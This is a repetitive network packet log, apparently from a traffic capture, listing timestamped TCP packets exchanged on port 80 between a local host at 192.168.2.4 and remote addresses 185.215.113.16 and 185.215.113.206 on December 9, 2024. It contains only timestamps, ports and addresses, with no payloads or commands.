Dec 9, 2024 20:27:47.921564102 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:47.922439098 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:47.922489882 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:47.922528982 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:47.922569990 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:47.923413992 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:47.923461914 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:47.923504114 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:47.923551083 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:47.924509048 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:47.924560070 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:47.924631119 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:47.924679041 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:47.925581932 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:47.925621986 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:47.925636053 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:47.925661087 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:47.926687956 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:47.926738024 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:47.926831007 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:47.926877975 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:47.927761078 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:47.927809000 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:47.927809954 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:47.927846909 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:47.928842068 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:47.928889990 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:47.928968906 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:47.929016113 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:47.929903030 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:47.929951906 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:47.930015087 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:47.930063009 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:47.931040049 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:47.931088924 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:47.931118965 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:47.931166887 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:47.932130098 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:47.932192087 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:47.932296991 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:47.932346106 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:47.933137894 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:47.933187962 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:47.933254957 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:47.933303118 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:47.934223890 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:47.934276104 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:47.934277058 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:47.934318066 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:47.935298920 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:47.935348988 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:47.935436964 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:47.935484886 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:47.936388969 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:47.936435938 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:47.936464071 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:47.936508894 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:47.937477112 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:47.937524080 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:47.937549114 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:47.937592030 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:47.938533068 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:47.938585997 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:47.938612938 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:47.938652992 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:47.939651012 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:47.939697981 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:47.939735889 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:47.939779997 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:47.940781116 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:47.940831900 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:47.940866947 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:47.940913916 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:47.941929102 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:47.941982985 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:47.942145109 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:47.942190886 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:47.942922115 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:47.942965984 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:47.943000078 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:47.943046093 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:47.944009066 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:47.944056988 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:47.944123030 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:47.944165945 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:47.945156097 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:47.945203066 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:47.945228100 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:47.945274115 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:47.946192026 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:47.946239948 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:47.946270943 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:47.946319103 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:47.947232008 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:47.947287083 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:47.947329998 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:47.947376013 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:47.948288918 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:47.948302031 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:47.948345900 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.084378004 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.084456921 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.084496021 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.084693909 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.084743023 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.084814072 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.084861040 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.085786104 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.085834026 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.085881948 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.085939884 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.086939096 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.086987019 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.087049961 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.087093115 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.087963104 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.088011026 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.088063955 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.088128090 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.089227915 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.089277029 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.089334965 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.089381933 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.090116024 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.090161085 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.090234995 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.090280056 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.091203928 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.091253996 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.091348886 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.091396093 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.092269897 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.092318058 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.092433929 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.092483044 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.093394041 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.093442917 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.093517065 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.093564987 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.094686031 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.094911098 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.094974995 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.095520973 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.095580101 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.095654964 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.096663952 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.096729994 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.096734047 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.096776962 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.097779989 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.097837925 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.097876072 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.097918034 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.098776102 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.098834038 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.098836899 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.098926067 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.099869013 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.099901915 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.099919081 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.099939108 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.100936890 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.100986004 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.101100922 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.101150036 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.102071047 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.102128029 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.102160931 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.102209091 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.103151083 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.103197098 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.103260040 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.103308916 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.104226112 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.104274988 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.104295969 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.104345083 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.105305910 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.105351925 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.105353117 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.105398893 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.106446028 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.106456995 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.106498957 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.107491016 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.107539892 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.107631922 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.107682943 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.108496904 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.108634949 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.108674049 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.109601021 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.109649897 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.109719038 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.109814882 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.110712051 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.110757113 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.110793114 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.110836029 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.111768007 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.111814022 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.111876011 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.111922979 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.112837076 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.112881899 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.112916946 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.112960100 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.113931894 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.114034891 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.114098072 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.115111113 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.115170002 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.115240097 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.116113901 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.116190910 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.116221905 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.116254091 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.117206097 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.117257118 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.117286921 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.117350101 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.118314981 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.118364096 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.118443966 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.118491888 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.119337082 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.119380951 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.119431973 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.119478941 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.120565891 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.120579004 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.120609999 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.120625019 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.121510029 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.121558905 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.121606112 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.122596025 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.122745991 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.122792959 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.123689890 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.123740911 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.123780012 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.124763966 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.124819040 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.124877930 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.125814915 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.125900984 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.126032114 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.126082897 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.126959085 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.127006054 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.127043962 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.128020048 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.128062010 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.128196001 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.129116058 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.129164934 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.129211903 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.129251957 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.130228043 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.130382061 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.130386114 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.130441904 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.131259918 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.131305933 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.131434917 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.132350922 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.132405996 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.132433891 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.133577108 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.134215117 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.134387970 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.134434938 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.135060072 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.135211945 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.135262966 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.135922909 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.135972023 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.135993004 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.136713982 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.136761904 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.136801004 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.137458086 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.137962103 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.137998104 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.138042927 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.138920069 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.139163017 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.139213085 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.139966965 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.140050888 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.140064001 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.140101910 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.141036987 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.141086102 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.156346083 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:48.156419039 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:48.276757002 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.276819944 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.276880980 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.276928902 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.277410984 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.277458906 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.277614117 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.277662992 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.278373957 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.278420925 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.278542995 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.278589964 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.279457092 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.279505014 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.279536009 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.279583931 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.280529022 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.280577898 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.280607939 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.280656099 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.283324003 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.283356905 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.283371925 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.283381939 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.283392906 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.283409119 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.283509016 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.283600092 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.283829927 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.283876896 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.283929110 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.283976078 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.284893990 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.284945011 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.285104990 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.285152912 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.286076069 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.286096096 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.286123037 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.286138058 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.287128925 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.287177086 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.287308931 CET	80	49766	185.215.113.16	192.168.2.4
